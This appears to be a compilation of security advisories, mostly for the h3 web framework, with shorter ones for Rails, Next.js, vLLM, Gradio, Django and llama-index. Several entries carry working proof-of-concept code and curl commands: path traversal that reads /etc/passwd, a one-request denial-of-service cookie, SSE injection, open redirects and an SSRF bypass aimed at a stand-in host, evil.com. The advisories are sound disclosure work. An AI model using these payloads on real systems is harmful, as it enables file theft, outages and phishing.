H3 has an Open Redirect via Protocol-Relative Path in redirectBack() Referer Validation
Summary
The redirectBack() utility in h3 validates that the Referer header shares the same origin as the request before using its pathname as the redirect Location. However, the pathname is not sanitized for protocol-relative paths (starting with //). An attacker can craft a same-origin URL with a double-slash path segment that passes the origin check but produces a Location header interpreted by browsers as a protocol-relative redirect to an external domain.
Details
The vulnerable code is in src/utils/response.ts:89-97:
``typescript
export function redirectBack(
event: H3Event,
opts: { fallback?: string; status?: number; allowQuery?: boolean } = {},
): HTTPResponse {
const referer = event.req.headers.get("referer");
let location = opts.fallback ?? "/";
if (referer && URL.canParse(referer)) {
const refererURL = new URL(referer);
if (refererURL.origin === event.url.origin) {
// BUG: pathname can be "//evil.com/path" which browsers interpret
// as a protocol-relative URL
location = refererURL.pathname + (opts.allowQuery ? refererURL.search : "");
}
}
return redirect(location, opts.status);
}
`
The root cause is a discrepancy between how the WHATWG URL parser and browsers handle double-slash paths:
1. new URL("http://target.com//evil.com/path").origin → "http://target.com" — origin check passes
2. new URL("http://target.com//evil.com/path").pathname → "//evil.com/path" — extracted as redirect location
3. Browser receives Location: //evil.com/path → interprets as protocol-relative URL → redirects to evil.com
Attack scenario: The attacker shares a link like http://target.com//evil.com/page. If the target application has catch-all routes (common in SPAs built with h3/Nitro), the app serves its page at that URL. When the user navigates to an endpoint calling redirectBack(), the browser sends Referer: http://target.com//evil.com/page. The origin check passes, and the user is redirected to evil.com, which can host a phishing page mimicking the target.
PoC
`bash
1. Create a minimal h3 app with redirectBack
cat > /tmp/h3-redirect-poc.ts << 'SCRIPT'
import { H3, redirectBack } from "h3";
const app = new H3();
app.post("/submit", (event) => redirectBack(event));
const res = await app.fetch(new Request("http://localhost/submit", {
method: "POST",
headers: { referer: "http://localhost//evil.com/steal" }
}));
console.log("Status:", res.status);
console.log("Location:", res.headers.get("location"));
// Expected: a same-origin path
// Actual: "//evil.com/steal" — protocol-relative redirect to evil.com
SCRIPT
2. Verify URL parsing behavior
node -e "
const u = new URL('http://localhost//evil.com/steal');
console.log('origin:', u.origin); // http://localhost
console.log('pathname:', u.pathname); // //evil.com/steal
console.log('origin matches localhost:', u.origin === 'http://localhost'); // true
"
Output:
origin: http://localhost
pathname: //evil.com/steal
origin matches localhost: true
`
Impact
An attacker can redirect users from a trusted application to an attacker-controlled domain. This enables:
Credential phishing: Redirect to a lookalike login page to harvest credentials
OAuth token theft: In OAuth flows using redirectBack(), steal authorization codes by redirecting to an attacker's callback
Trust exploitation: Users see the initial link points to the trusted domain, lowering suspicion
The vulnerability requires no authentication and affects any endpoint using redirectBack().
Recommended Fix
Sanitize the extracted pathname to prevent protocol-relative URLs. In src/utils/response.ts, after extracting the pathname from the referer:
`typescript
export function redirectBack(
event: H3Event,
opts: { fallback?: string; status?: number; allowQuery?: boolean } = {},
): HTTPResponse {
const referer = event.req.headers.get("referer");
let location = opts.fallback ?? "/";
if (referer && URL.canParse(referer)) {
const refererURL = new URL(referer);
if (refererURL.origin === event.url.origin) {
let pathname = refererURL.pathname;
// Prevent protocol-relative open redirect (e.g., "//evil.com")
if (pathname.startsWith("//")) {
pathname = "/" + pathname.replace(/^\/+/, "");
}
location = pathname + (opts.allowQuery ? refererURL.search : "");
}
}
return redirect(location, opts.status);
}
``
H3: Unbounded Chunked Cookie Count in Session Cleanup Loop may Lead to Denial of Service
Summary
The setChunkedCookie() and deleteChunkedCookie() functions in h3 trust the chunk count parsed from a user-controlled cookie value (__chunked__N) without any upper bound validation. An unauthenticated attacker can send a single request with a crafted cookie header (e.g., Cookie: h3=__chunked__999999) to any endpoint using sessions, causing the server to enter an O(n²) loop that hangs the process.
Details
The chunked cookie system stores large cookie values by splitting them into numbered chunks. The main cookie stores a sentinel value __chunked__N indicating how many chunks exist. When setting a new chunked cookie, the code cleans up any previous chunks that are no longer needed.
The vulnerability is in getChunkedCookieCount() at src/utils/cookie.ts:244-249:
``typescript
function getChunkedCookieCount(cookie: string | undefined): number {
if (!cookie?.startsWith(CHUNKED_COOKIE)) {
return Number.NaN;
}
return Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));
// No upper bound check — attacker controls this value
}
`
This value is consumed without validation in the cleanup loop of setChunkedCookie() at src/utils/cookie.ts:182-190:
`typescript
const previousCookie = getCookie(event, name); // reads from request headers
if (previousCookie?.startsWith(CHUNKED_COOKIE)) {
const previousChunkCount = getChunkedCookieCount(previousCookie);
if (previousChunkCount > chunkCount) {
for (let i = chunkCount; i <= previousChunkCount; i++) {
deleteCookie(event, chunkCookieName(name, i), options);
// Each deleteCookie → setCookie → scans ALL existing set-cookie headers
}
}
}
`
The same issue exists in deleteChunkedCookie() at src/utils/cookie.ts:227-232:
`typescript
const chunksCount = getChunkedCookieCount(mainCookie);
if (chunksCount >= 0) {
for (let i = 0; i < chunksCount; i++) {
deleteCookie(event, chunkCookieName(name, i + 1), serializeOptions);
}
}
`
The exploit chain through sessions:
1. Attacker sends Cookie: h3=__chunked__999999 to any session-using endpoint
2. getSession() (src/utils/session.ts:83) calls getChunkedCookie(event, "h3") (line 124)
3. getChunkedCookie() returns undefined — the early return at line 153 fires because no actual chunk cookies (e.g., h3.1) exist in the request
4. Since sealedSession is undefined, session.id remains empty (line 140), triggering updateSession() (line 143)
5. updateSession() calls setChunkedCookie() with the newly sealed session value (line 179)
6. Inside setChunkedCookie(), getCookie(event, name) re-reads the original request cookie __chunked__999999 at line 182
7. previousChunkCount = 999999, chunkCount = 1 (new sealed session is small)
8. The cleanup loop runs 999,998 iterations, each calling deleteCookie() → setCookie()
9. Each setCookie() call reads ALL existing set-cookie response headers via getSetCookie() (line 91) and iterates through them for deduplication (lines 100-106)
10. This creates O(n²) complexity — approximately 10¹² operations for n=999999
Key observation: While getChunkedCookie() has an early-return optimization (line 153) that prevents it from looping on missing chunks, the cleanup loops in setChunkedCookie() and deleteChunkedCookie() have no such protection and run unconditionally for the full claimed chunk count.
PoC
Prerequisites: An h3 application with any endpoint using getSession() or useSession().
Example minimal server:
`typescript
import { H3 } from "h3";
import { getSession } from "h3";
const app = new H3();
app.get("/dashboard", async (event) => {
const session = await getSession(event, {
password: "my-secret-password-at-least-32-chars-long!",
});
return { user: session.data.user || "anonymous" };
});
export default app;
`
Attack (single request, no authentication):
`bash
This single request will hang the server process
curl -H 'Cookie: h3=__chunked__999999' http://localhost:3000/dashboard
`
For a less extreme but still impactful test:
`bash
~100K iterations — will take several seconds and block all other requests
curl -H 'Cookie: h3=__chunked__100000' http://localhost:3000/dashboard
`
The deleteChunkedCookie() path is exploitable via clearSession():
`typescript
app.post("/logout", async (event) => {
await clearSession(event, {
password: "my-secret-password-at-least-32-chars-long!",
});
return { ok: true };
});
`
`bash
curl -X POST -H 'Cookie: h3=__chunked__999999' http://localhost:3000/logout
`
Impact
Complete Denial of Service: A single unauthenticated request with a 27-byte cookie header can hang the server process indefinitely. Node.js is single-threaded, so this blocks all request handling.
No authentication required: The attack only requires the ability to send HTTP requests with a crafted cookie header.
Minimal attacker effort: The payload is trivially small (Cookie: h3=__chunked__999999), making it easy to automate or repeat.
Wide attack surface: Any endpoint in the application that uses getSession(), useSession(), or clearSession() is vulnerable. Session usage is extremely common in web applications.
Amplification: The ratio of attacker input (27 bytes) to server work (billions of operations) is extreme.
Recommended Fix
Add a maximum chunk count constant and validate in getChunkedCookieCount():
`typescript
const MAX_CHUNKED_COOKIE_COUNT = 100;
function getChunkedCookieCount(cookie: string | undefined): number {
if (!cookie?.startsWith(CHUNKED_COOKIE)) {
return Number.NaN;
}
const count = Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));
if (Number.isNaN(count) || count < 0 || count > MAX_CHUNKED_COOKIE_COUNT) {
return Number.NaN;
}
return count;
}
`
This clamps the parsed count at a safe maximum. Since each chunk can hold ~4000 bytes and 100 chunks would allow ~400KB of cookie data (far beyond any practical limit), MAX_CHUNKED_COOKIE_COUNT = 100 is generous while eliminating the DoS vector.
Additionally, the callers should be updated to handle NaN safely. The cleanup loop in setChunkedCookie() already handles this correctly since NaN > chunkCount is false, so the loop won't execute. The deleteChunkedCookie() loop also handles it since NaN >= 0` is false.
Rails Active Support has a possible DoS vulnerability in its number helpers
Impact
Active Support number helpers accept strings containing scientific notation (e.g. 1e10000), which when converted to a string could be expanded into extremely large decimal representations. This can cause excessive memory allocation and CPU consumption when the expanded number is formatted, possibly resulting in a DoS vulnerability.
Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone researcher manun.
Rails Active Support has a possible XSS vulnerability in SafeBuffer#%
Impact
SafeBuffer#% does not propagate the @html_unsafe flag to the newly created buffer. If a SafeBuffer is mutated in place (e.g. via gsub!) and then formatted with % using untrusted arguments, the result incorrectly reports html_safe? == true, bypassing ERB auto-escaping and possibly leading to XSS.
Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by @ch4n3-yoon
Rails Active Support has a possible ReDoS vulnerability in number_to_delimited
Impact
NumberToDelimitedConverter used a regular expression with gsub! to insert thousands delimiters. This could produce quadratic time complexity on long digit strings.
Releases
The fixed releases are available at the normal locations.
Credit
This issue was responsibly reported by Hackerone researcher scyoon.
h3: SSE Event Injection via Unsanitized Carriage Return (`\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)
Summary
The EventStream class in h3 fails to sanitize carriage return (\r) characters in data and comment fields. Per the SSE specification, \r is a valid line terminator, so browsers interpret injected \r as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single push() call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit 7791538 which addressed \n injection but missed \r-only injection.
Details
The prior fix in commit 7791538 added _sanitizeSingleLine() to strip \n and \r from id and event fields, and changed data formatting to split on \n. However, two code paths remain vulnerable:
1. data field — formatEventStreamMessage() (src/utils/internal/event-stream.ts:190-193)
``typescript
const data = typeof message.data === "string" ? message.data : "";
for (const line of data.split("\n")) { // Only splits on \n, not \r
result += data: ${line}\n;
}
`
String.prototype.split("\n") does not split on \r. A string like "legit\revent: evil" remains as a single "line" and is emitted as:
`
data: legit\revent: evil\n
`
Per the SSE specification §9.2.6, \r alone is a valid line terminator. The browser parses this as two separate lines:
`
data: legit
event: evil
`
2. comment field — formatEventStreamComment() (src/utils/internal/event-stream.ts:170-177)
`typescript
export function formatEventStreamComment(comment: string): string {
return (
comment
.split("\n") // Only splits on \n, not \r
.map((l) => : ${l}\n)
.join("") + "\n"
);
}
`
The same split("\n") pattern means \r in comments is not handled. An input like "x\rdata: injected" produces:
`
: x\rdata: injected\n\n
`
Which the browser parses as a comment line followed by actual data:
`
: x
data: injected
`
Why _sanitizeSingleLine doesn't help
The _sanitizeSingleLine function at line 198 correctly strips both \r and \n:
`typescript
function _sanitizeSingleLine(value: string): string {
return value.replace(/[\n\r]/g, "");
}
`
But it is only applied to id and event fields (lines 182, 185), not to data or comment.
PoC
Setup
Create a minimal h3 application that reflects user input into an SSE stream:
`javascript
// server.mjs
import { createApp, createEventStream, defineEventHandler, getQuery } from "h3";
const app = createApp();
app.use("/sse", defineEventHandler(async (event) => {
const stream = createEventStream(event);
const { msg } = getQuery(event);
// Simulates user-controlled input flowing to SSE (common in chat/AI apps)
await stream.push(String(msg));
setTimeout(() => stream.close(), 1000);
return stream.send();
}));
export default app;
`
Attack 1: Event type injection via \r in data
`bash
Inject an "event: evil" directive via \r in data
curl -N --no-buffer "http://localhost:3000/sse?msg=legit%0Devent:%20evil"
`
Expected (safe) wire output:
`
data: legit\revent: evil\n\n
`
Browser parses as:
`
data: legit
event: evil
`
The browser's EventSource fires a custom evil event instead of the default message event, potentially routing data to unintended handlers.
Attack 2: Message boundary injection (event splitting)
`bash
Inject a message boundary (\r\r = empty line) to split one push() into two events
curl -N --no-buffer "http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected"
`
Browser parses as two separate events:
1. Event 1: data: first
2. Event 2: data: injected
A single push() call produces two distinct events in the browser — the attacker controls the second event's content entirely.
Attack 3: Comment escape to data injection
`bash
Inject via pushComment() — escape from comment into data
curl -N --no-buffer "http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected"
`
Browser parses as:
`
: x (comment, ignored)
data: injected (real data, dispatched as event)
`
Impact
Event spoofing: Attacker can inject arbitrary event: types, causing browsers to dispatch events to different EventSource.addEventListener() handlers than intended. In applications that use custom event types for control flow (e.g., error, done, system), this enables UI manipulation.
Message boundary injection: A single push() call can be split into multiple browser-side events. This breaks application-level framing assumptions — e.g., a chat message could appear as two messages, or an injected "system" message could appear in an AI chat interface.
Comment-to-data escalation: Data can be injected through what the application considers a harmless comment field via pushComment().
Bypass of existing security control: The prior fix (commit 7791538) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security.
Recommended Fix
Both formatEventStreamMessage and formatEventStreamComment should split on \r, \n, and \r\n — matching the SSE spec's line terminator definition.
`typescript
// src/utils/internal/event-stream.ts
// Add a shared regex for SSE line terminators
const SSE_LINE_SPLIT = /\r\n|\r|\n/;
export function formatEventStreamComment(comment: string): string {
return (
comment
.split(SSE_LINE_SPLIT) // was: .split("\n")
.map((l) => : ${l}\n)
.join("") + "\n"
);
}
export function formatEventStreamMessage(message: EventStreamMessage): string {
let result = "";
if (message.id) {
result += id: ${_sanitizeSingleLine(message.id)}\n;
}
if (message.event) {
result += event: ${_sanitizeSingleLine(message.event)}\n;
}
if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
result += retry: ${message.retry}\n;
}
const data = typeof message.data === "string" ? message.data : "";
for (const line of data.split(SSE_LINE_SPLIT)) { // was: data.split("\n")
result += data: ${line}\n;
}
result += "\n";
return result;
}
`
This ensures all three SSE-spec line terminators (\r\n, \r, \n) are properly handled as line boundaries, preventing \r` from being passed through to the browser where it would be interpreted as a line break.
h3: Double Decoding in `serveStatic` Bypasses `resolveDotSegments` Path Traversal Protection via `%252e%252e`
Summary
The serveStatic utility in h3 applies a redundant decodeURI() call to the request pathname after H3Event has already performed percent-decoding with %25 preservation. This double decoding converts %252e%252e into %2e%2e, which bypasses resolveDotSegments() (since it checks for literal . characters, not percent-encoded equivalents). When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as .. per the URL Standard, enabling path traversal to read arbitrary files from the backend.
Details
The vulnerability is a conflict between two decoding stages:
Stage 1 — H3Event constructor (src/event.ts:65-69):
``typescript
if (url.pathname.includes("%")) {
url.pathname = decodeURI(
url.pathname.includes("%25") ? url.pathname.replace(/%25/g, "%2525") : url.pathname,
);
}
`
This correctly preserves %25 sequences by escaping them before decoding. A request for /%252e%252e/etc/passwd produces event.url.pathname = /%2e%2e/etc/passwd — the %25 was preserved so %252e became %2e (not .).
Stage 2 — serveStatic (src/utils/static.ts:86-88):
`typescript
const originalId = resolveDotSegments(
decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),
);
`
This applies a second decodeURI(), which decodes %2e → ., producing /../../../etc/passwd. However, the decoding happens inside the resolveDotSegments() call argument — decodeURI runs first, then resolveDotSegments processes the result.
Wait — re-examining the flow more carefully:
1. Input pathname after event.ts: /%2e%2e/%2e%2e/etc/passwd
2. decodeURI() in static.ts converts %2e → ., producing: /../../../etc/passwd
3. resolveDotSegments("/../../../etc/passwd") does resolve .. segments, clamping to /etc/passwd
The actual bypass is subtler. decodeURI() does not decode %2e — it only decodes characters that encodeURI would encode. Since . is never encoded by encodeURI, %2e is not decoded by decodeURI(). So the chain is:
1. Request: /%252e%252e/%252e%252e/etc/passwd
2. After event.ts decode: /%2e%2e/%2e%2e/etc/passwd
3. decodeURI() in static.ts: /%2e%2e/%2e%2e/etc/passwd (unchanged — decodeURI doesn't decode %2e)
4. resolveDotSegments() fast-returns at line 56 because %2e contains no literal . character:
`typescript
if (!path.includes(".")) {
return path;
}
`
5. Asset ID /%2e%2e/%2e%2e/etc/passwd is passed to getMeta() and getContents() callbacks
6. URL-based backends resolve %2e%2e as .. per RFC 3986 / URL Standard
The root cause is resolveDotSegments() only checks for literal . characters and does not account for percent-encoded dot sequences (%2e). The decodeURI() in static.ts is redundant (event.ts already decodes) but is not the direct cause — the real gap is that %2e%2e survives as a traversal payload through both decoding stages and resolveDotSegments.
PoC
1. Create a minimal h3 server with a URL-based static backend:
`javascript
// server.mjs
import { H3, serveStatic } from "h3";
import { serve } from "srvx";
const app = new H3();
app.get("/", (event) => {
return serveStatic(event, {
getMeta(id) {
console.log("[getMeta] asset ID:", id);
// Simulate URL-based backend (CDN/S3)
const url = new URL(id, "https://cdn.example.com/static/");
console.log("[getMeta] resolved URL:", url.href);
return { type: "text/plain" };
},
getContents(id) {
console.log("[getContents] asset ID:", id);
const url = new URL(id, "https://cdn.example.com/static/");
console.log("[getContents] resolved URL:", url.href);
return Fetched from: ${url.href};
},
});
});
serve({ fetch: app.fetch, port: 3000 });
`
2. Send the double-encoded traversal request:
`bash
curl -v 'http://localhost:3000/%252e%252e/%252e%252e/etc/passwd'
`
3. Observe server logs:
`
[getMeta] asset ID: /%2e%2e/%2e%2e/etc/passwd
[getMeta] resolved URL: https://cdn.example.com/etc/passwd
[getContents] asset ID: /%2e%2e/%2e%2e/etc/passwd
[getContents] resolved URL: https://cdn.example.com/etc/passwd
`
The %2e%2e sequences in the asset ID are resolved as .. by the URL constructor, causing the backend URL to traverse from /static/ to /etc/passwd.
Impact
Arbitrary file read from backend storage: An unauthenticated attacker can read files outside the intended static asset directory on any URL-based backend (CDN origins, S3 buckets, object storage, reverse-proxied file servers).
Sensitive data exposure: Depending on the backend, this could expose configuration files, credentials, source code, or other tenants' data in shared storage.
Affected deployments: Applications using serveStatic with callbacks that resolve asset IDs via URL construction (new URL(id, baseUrl) or equivalent). This is a common pattern for CDN proxying and cloud object storage backends. Filesystem-based backends using path.join() are not affected since %2e%2e is not resolved as a traversal sequence by filesystem APIs.
Recommended Fix
The resolveDotSegments() function must account for percent-encoded dot sequences. Additionally, the redundant decodeURI() in serveStatic should be removed since H3Event already handles decoding.
Fix 1 — Remove redundant decodeURI in src/utils/static.ts:86-88:
`diff
const originalId = resolveDotSegments(
decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),
withLeadingSlash(withoutTrailingSlash(event.url.pathname)),
);
`
Fix 2 — Harden resolveDotSegments in src/utils/internal/path.ts:55-73 to handle percent-encoded dots:**
`diff
export function resolveDotSegments(path: string): string {
if (!path.includes(".")) {
if (!path.includes(".") && !path.toLowerCase().includes("%2e")) {
return path;
}
// Normalize backslashes to forward slashes to prevent traversal via \
const segments = path.replaceAll("\\", "/").split("/");
const segments = path.replaceAll("\\", "/")
.replaceAll(/%2e/gi, ".")
.split("/");
const resolved: string[] = [];
`
Both fixes should be applied. Fix 1 removes the unnecessary double-decode. Fix 2 provides defense-in-depth by ensuring resolveDotSegments` cannot be bypassed with percent-encoded dots regardless of the caller.
h3 has a Path Traversal via Percent-Encoded Dot Segments in serveStatic Allows Arbitrary File Read
Summary
serveStatic() in h3 is vulnerable to path traversal via percent-encoded dot segments (%2e%2e), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments.
Details
The vulnerability exists in src/utils/static.ts at line 86:
``typescript
const originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname)));
`
On Node.js, h3 uses srvx's FastURL class to parse request URLs. Unlike the standard WHATWG URL parser, FastURL extracts the pathname via raw string slicing for performance — it does not normalize dot segments (. / ..) or resolve percent-encoded equivalents (%2e).
This means a request to /%2e%2e/ will have event.url.pathname return /%2e%2e/ verbatim, whereas the standard URL parser would normalize it to / (resolving .. upward).
The serveStatic() function then calls decodeURI() on this raw pathname, which decodes %2e to ., producing /../. The resulting path containing ../ traversal sequences is passed directly to the user-provided getMeta() and getContents() callbacks with no sanitization or traversal validation.
When these callbacks perform filesystem operations (the intended and documented usage), the ../ sequences resolve against the filesystem, escaping the static root directory.
Before exploit:
<img width="761" height="97" alt="image" src="https://github.com/user-attachments/assets/798f9d3d-f76c-4c29-aca3-5a6ccd3b3627" />
Vulnerability chain
`
1. Attacker sends: GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd
2. FastURL.pathname: /%2e%2e/%2e%2e/%2e%2e/etc/passwd (raw, no normalization)
3. decodeURI(): /../../../etc/passwd (%2e decoded to .)
4. getMeta(id): id = "/../../../etc/passwd" (no traversal check)
5. path.join(root,id): /etc/passwd (.. resolved by OS)
6. Response: contents of /etc/passwd
`
PoC
Vulnerable server (server.ts)
`typescript
import { H3, serveStatic } from "h3";
import { serve } from "h3/node";
import { readFileSync, statSync } from "node:fs";
import { join, resolve } from "node:path";
const STATIC_ROOT = resolve("./public");
const app = new H3();
app.all("/", (event) =>
serveStatic(event, {
getMeta: (id) => {
const filePath = join(STATIC_ROOT, id);
try {
const stat = statSync(filePath);
return { size: stat.size, mtime: stat.mtime };
} catch {
return undefined;
}
},
getContents: (id) => {
const filePath = join(STATIC_ROOT, id);
try {
return readFileSync(filePath);
} catch {
return undefined;
}
},
})
);
serve({ fetch: app.fetch });
`
Exploit
`bash
Read /etc/passwd (adjust number of %2e%2e segments based on static root depth)
curl -s --path-as-is "http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
`
Result
`
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
`
Proof:
<img width="940" height="703" alt="image" src="https://github.com/user-attachments/assets/f452e061-847a-424c-9dda-dfbf899687b1" />
Pwned by 0xkakashi
<img width="942" height="74" alt="image" src="https://github.com/user-attachments/assets/db881519-1456-4e4c-a751-d8781b7abe95" />
Impact
An unauthenticated remote attacker can read arbitrary files from the server's filesystem by sending a crafted HTTP request with %2e%2e (percent-encoded ..) path segments to any endpoint served by serveStatic().
This affects any h3 v2.x application using serveStatic() running on Node.js (where the FastURL fast path is used). Applications running on runtimes that provide a pre-parsed URL object (e.g., Cloudflare Workers, Deno) may not be affected, as FastURL's raw string slicing is bypassed.
Exploitable files include but are not limited to:**
/etc/passwd, /etc/shadow (if readable)
Application source code and configuration files
.env` files containing secrets, API keys, database credentials
Private keys and certificates
h3 has an observable timing discrepancy in basic auth utils
Summary
A Timing Side-Channel vulnerability exists in the requireBasicAuth function due to the use of unsafe string comparison (!==). This allows an attacker to deduce the valid password character-by-character by measuring the server's response time, effectively bypassing password complexity protections.
Details
The vulnerability is located in the requireBasicAuth function. The code performs a standard string comparison between the user-provided password and the expected password:
~~~typescript
if (opts.password && password !== opts.password) {
throw autheFailed(event, opts?.realm);
}
~~~
In V8 (and most runtime environments), the !== operator is optimized to "fail fast." It stops execution and returns false as soon as it encounters the first mismatched byte.
If the first character is wrong, it returns immediately.
If the first character is correct but the second is wrong, it takes slightly longer.
By statistically analyzing these minute timing differences over many requests, an attacker can determine the correct password one character at a time.
PoC
This vulnerability is exploitable in real-world scenarios without direct access to the server machine.
To reproduce this, an attacker can send two packets (or bursts of packets) at the exact same time:
1. Packet A: Contains a password that is known to be incorrect starting at the first character (e.g., AAAA...).
2. Packet B: Contains a password where the first character is a guess (e.g., B...).
By measuring the time-to-first-byte (TTFB) or total response time of these concurrent requests, the attacker can filter out network jitter. If Packet B takes consistently longer to return than Packet A, the first character is confirmed as correct. This process is repeated for the second character, and so on. Tests confirm this timing difference is statistically consistent enough to recover credentials remotely.
Impact
This vulnerability allows remote attackers to recover passwords. While network jitter makes this difficult over the internet, it is highly effective in local networks or cloud environments where the attacker is co-located. It reduces the complexity of cracking a password from exponential (guessing the whole string) to linear (guessing one char at a time).
Next.js: null origin can bypass Server Actions CSRF checks
Summary
origin: null was treated as a "missing" origin during Server Action CSRF validation. As a result, requests from opaque contexts (such as sandboxed iframes) could bypass origin verification instead of being validated as cross-origin requests.
Impact
An attacker could induce a victim browser to submit Server Actions from a sandboxed context, potentially executing state-changing actions with victim credentials (CSRF).
Patches
Fixed by treating 'null' as an explicit origin value and enforcing host/origin checks unless 'null' is explicitly allowlisted in experimental.serverActions.allowedOrigins.
Workarounds
If upgrade is not immediately possible:
Add CSRF tokens for sensitive Server Actions.
Prefer SameSite=Strict on sensitive auth cookies.
Do not allow 'null' in serverActions.allowedOrigins unless intentionally required and additionally protected.
vLLM has SSRF Protection Bypass
Summary
The SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the load_from_url_async method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.
Affected Component
File: vllm/connections.py
Function: load_from_url_async
Vulnerability Details
Root Cause
The SSRF fix uses urllib3.util.parse_url() to validate and extract the hostname from user-provided URLs. However, load_from_url_async uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing.
These two URL parsers handle backslash characters (\) differently:
| Parser | Input URL | Parsed Host | Parsed Path | Behavior |
|--------|-----------|-------------|-------------|----------|
| urllib3.parse_url() | https://httpbin.org\@evil.com/ | httpbin.org | /%5C@evil.com/ | URL-encodes \ as %5C, treats \@evil.com/ as part of the path |
| yarl (via aiohttp) | https://httpbin.org\@evil.com/ | evil.com | / | Treats \ as part of userinfo (user: httpbin.org\), the @ acts as the userinfo/host separator |
Attack Scenario
``python
Attacker provides this URL
malicious_url = "https://httpbin.org\\@evil.com/"
1. Validation layer (urllib3.parse_url)
parsed = urllib3.util.parse_url(malicious_url)
parsed.host == "httpbin.org" ✅ Passes validation
2. Actual request (aiohttp with yarl)
async with aiohttp.ClientSession() as session:
async with session.get(malicious_url) as response:
# Request actually goes to evil.com! ❌ Bypass!
`
Why This Happens
1. yarl: Interprets httpbin.org\ as the userinfo component, and @ as the userinfo/host separator, so the URL is parsed as user=httpbin.org\, host=evil.com, path=/
2. urllib3: URL-encodes the backslash as %5C, so \@evil.com/ becomes /%5C@evil.com/ which is treated as part of the path, leaving host=httpbin.org`
This inconsistency allows an attacker to:
Bypass the hostname allowlist check
Access arbitrary internal/external services
Perform full SSRF attacks
Fixes
https://github.com/vllm-project/vllm/pull/34743
Gradio has an Open Redirect in its OAuth Flow
Summary
The _redirect_to_target() function in Gradio's OAuth flow accepts an unvalidated _target_url query parameter, allowing redirection to arbitrary external URLs. This affects the /logout and /login/callback endpoints on Gradio apps with OAuth enabled (i.e. apps running on Hugging Face Spaces with gr.LoginButton).
Details
``python
def _redirect_to_target(request, default_target="/"):
target = request.query_params.get("_target_url", default_target)
return RedirectResponse(target) # No validation
``
An attacker can craft a URL like https://my-space.hf.space/logout?_target_url=https://evil.com/phishing that redirects the user to an external site after logout. Because the URL originates from a trusted hf.space domain, users are more likely to trust the link.
Impact
Phishing — an attacker can use the trusted domain to redirect users to a malicious site. No direct data exposure or server-side impact.
## Fix
The _target_url parameter is now sanitized to only use the path, query, and fragment, stripping any scheme or host.
OWASP A01OWASP A02LLM02 · Insecure OutputLLM06 · Sensitive Info Disclosure
Get guardrail →Django has an SQL Injection issue
An issue was discovered in 6.0 before 6.0.2, 5.2 before 5.2.11, and 4.2 before 4.2.28.
.QuerySet.order_by() is subject to SQL injection in column aliases containing periods when the same alias is, using a suitably crafted dictionary, with dictionary expansion, used in FilteredRelation. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Solomon Kebede for reporting this issue.
llama-index-core vulnerable to Uncontrolled Resource Consumption
The SimpleDirectoryReader component in llama_index.core version 0.12.23 suffers from uncontrolled memory consumption due to a resource management flaw. The vulnerability arises because the user-specified file limit (num_files_limit) is applied after all files in a directory are loaded into memory. This can lead to memory exhaustion and degraded performance, particularly in environments with limited resources. The issue is resolved in version 0.12.41.
Next.js has Unbounded Memory Consumption via PPR Resume Endpoint
A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the Next-Resume: 1 header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:
1. Unbounded request body buffering: The server buffers the entire POST request body into memory using Buffer.concat() without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.
2. Unbounded decompression (zipbomb): The resume data cache is decompressed using inflateSync() without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.
Both attack vectors result in a fatal V8 out-of-memory error (FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.
To be affected, an application must run with experimental.ppr: true or cacheComponents: true configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.
Strongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.
vLLM is vulnerable to DoS in Idefics3 vision models via image payload with ambiguous dimensions
Summary
Users can crash the vLLM engine serving multimodal models that use the _Idefics3_ vision model implementation by sending a specially crafted 1x1 pixel image. This causes a tensor dimension mismatch that results in an unhandled runtime error, leading to complete server termination.
Details
The vulnerability is triggered when the image processor encounters a 1x1 pixel image with shape (1, 1, 3) in HWC (Height, Width, Channel) format. Due to the ambiguous dimensions, the processor incorrectly assumes the image is in CHW (Channel, Height, Width) format with shape (3, H, W). This misinterpretation causes an incorrect calculation of the number of image patches, resulting in a fatal tensor split operation failure.
Crash location: vllm/model_executor/models/idefics3.py line 672:
``python
def _process_image_input(self, image_input: ImageInputs) -> torch.Tensor | list[torch.Tensor]:
# ...
num_patches = image_input["num_patches"]
return [e.flatten(0, 1) for e in image_features.split(num_patches.tolist())]
`
The split() call fails because the computed num_patches value (17) does not match the actual tensor dimension (9):
`
RuntimeError: split_with_sizes expects split_sizes to sum exactly to 9
